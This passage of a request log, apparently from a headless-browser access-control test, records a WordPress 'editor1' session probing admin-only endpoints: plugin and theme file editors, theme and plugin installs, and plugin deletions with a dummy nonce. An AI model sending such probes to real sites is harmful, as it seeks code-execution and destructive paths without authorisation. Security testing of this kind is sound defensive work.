text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""} +{"method": "GET", "target": "/wp-admin/customize.php?return=%2Fwp-admin%2Fedit.php%3Fs%3Dpowershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=powershell", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""} +{"method": "GET", "target": "/wp-admin/customize.php?return=%2Fwp-admin%2Fedit.php%3Fs%3D.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""} +{"method": "GET", "target": "/wp-admin/customize.php?url=http%3A%2F%2Fblog.example%2F%3Fs%3Dpython3", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""} +{"method": "GET", "target": "/wp-admin/customize.php?url=http%3A%2F%2Fblog.example%2F%3Fs%3Dpowershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?s=powershell", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""} +{"method": "GET", "target": "/wp-admin/customize.php?url=http%3A%2F%2Fblog.example%2F%3Fs%3D.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?s=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""} +{"method": "GET", "target": "/wp-admin/upgrade.php?_wp_http_referer=%2Fwp-admin%2Fedit.php%3Fs%3Dpython3", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-install.php?tab=plugin-information&plugin=docker-helper&TB_iframe=true&width=772&height=550", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-install.php?tab=plugin-information&plugin=powershell-tools&TB_iframe=true&width=772&height=550", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugins.php?action=delete-selected&checked%5B%5D=docker-helper%2Fdocker-helper.php&plugin_status=all&paged=1&s&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugins.php?action=delete-selected&checked%5B%5D=powershell-tools%2Fpowershell-tools.php&plugin_status=all&paged=1&s&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-install.php?tab=plugin-information&plugin=wp-config-file-editor&TB_iframe=true&width=772&height=550", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugins.php?action=deactivate&plugin=wp-config-file-editor%2Fwp-config-file-editor.php&plugin_status=all&paged=1&s&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-editor.php?plugin=wp-config-file-editor%2Fwp-config-file-editor.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""} +{"method": "GET", "target": "/wp-admin/update.php?action=install-plugin&plugin=wp-config-file-editor&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""} +{"method": "GET", "target": "/wp-admin/themes.php?theme=python3-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""} +{"method": "GET", "target": "/wp-admin/customize.php?theme=python3-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""} +{"method": "GET", "target": "/wp-admin/theme-editor.php?theme=python3-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""} +{"method": "GET", "target": "/wp-admin/update.php?action=install-theme&theme=python3-theme&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""} +{"method": "GET", "target": "/wp-admin/theme-install.php?theme=python3-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""} +{"method": "GET", "target": "/wp-admin/themes.php?action=activate&stylesheet=python3-theme&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""} +{"method": "GET", "target": "/wp-admin/themes.php?theme=powershell-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""} +{"method": "GET", "target": "/wp-admin/customize.php?theme=powershell-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""} +{"method": "GET", "target": "/wp-admin/theme-editor.php?theme=powershell-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""} +{"method": "GET", "target": "/wp-admin/update.php?action=install-theme&theme=powershell-theme&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""} +{"method": "GET", "target": "/wp-admin/theme-install.php?theme=powershell-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; 